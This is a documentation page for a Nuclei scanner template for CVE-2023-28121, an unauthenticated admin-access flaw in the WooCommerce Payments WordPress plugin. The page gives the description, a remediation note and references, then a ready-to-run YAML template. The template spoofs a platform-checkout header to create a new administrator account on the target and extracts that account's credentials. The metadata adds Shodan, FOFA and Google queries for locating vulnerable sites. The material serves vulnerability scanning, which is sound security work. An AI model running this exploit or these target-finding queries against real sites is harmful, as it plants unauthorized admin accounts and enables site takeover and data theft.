Skip to content
Nuclei Templates

WooCommerce Payments - Unauthorized Admin Access

ID: CVE-2023-28121

Severity: critical

Author: DhiyaneshDK

Tags: cve2023,cve,wordpress,wp,wp-plugin,auth-bypass,intrusive,automattic

Description

Section titled “Description”

An issue in WooCommerce Payments plugin for WordPress (versions 5.6.1 and lower) allows an unauthenticated attacker to send requests on behalf of an elevated user, like administrator. This allows a remote, unauthenticated attacker to gain admin access on a site that has the affected version of the plugin activated.

YAML Source

Section titled “YAML Source”
id: CVE-2023-28121


info:
  name: WooCommerce Payments - Unauthorized Admin Access
  author: DhiyaneshDK
  severity: critical
  description: |
    An issue in WooCommerce Payments plugin for WordPress (versions 5.6.1 and lower) allows an unauthenticated attacker to send requests on behalf of an elevated user, like administrator. This allows a remote, unauthenticated attacker to gain admin access on a site that has the affected version of the plugin activated.
  impact: |
    An attacker can gain unauthorized access to the WooCommerce Payments admin panel, potentially leading to data theft or modification.
  remediation: |
    Update to the latest version of the WooCommerce Payments plugin to fix the vulnerability.
  reference:
    - https://github.com/gbrsh/CVE-2023-28121
    - https://nvd.nist.gov/vuln/detail/CVE-2023-28121
    - https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/
    - https://woocommerce.com/products/woocommerce-payments/
    - https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-28121
    cwe-id: CWE-287
    epss-score: 0.94133
    epss-percentile: 0.99162
    cpe: cpe:2.3:a:automattic:woocommerce_payments:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: automattic
    product: woocommerce_payments
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/woocommerce-payments
    fofa-query: body=/wp-content/plugins/woocommerce-payments
    publicwww-query: /wp-content/plugins/woocommerce-payments
    google-query: inurl:/wp-content/plugins/woocommerce-payments
  tags: cve2023,cve,wordpress,wp,wp-plugin,auth-bypass,intrusive,automattic
variables:
  username: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"


http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        X-WCPAY-PLATFORM-CHECKOUT-USER: 1
        Content-Type: application/x-www-form-urlencoded


        rest_route=%2Fwp%2Fv2%2Fusers&username={{username}}&email={{email}}&password={{password}}&roles=administrator


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"registered_date":'
          - '"username":'
          - '"email":'
        condition: and


      - type: word
        part: header
        words:
          - application/json


      - type: status
        status:
          - 201


    extractors:
      - type: dsl
        dsl:
          - '"WP_USERNAME: "+ username'
          - '"WP_PASSWORD: "+ password'
# digest: 4b0a00483046022100860f06045ee25e5a60d5ea8e81988653f8f3e0d0ad4c08fb81c4fa7507a4ac3a022100f0d00b80d19829cc249df511239e04328cf16c0cb832c597d760f7acfcdf4b51:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-28121.yaml"

View on Github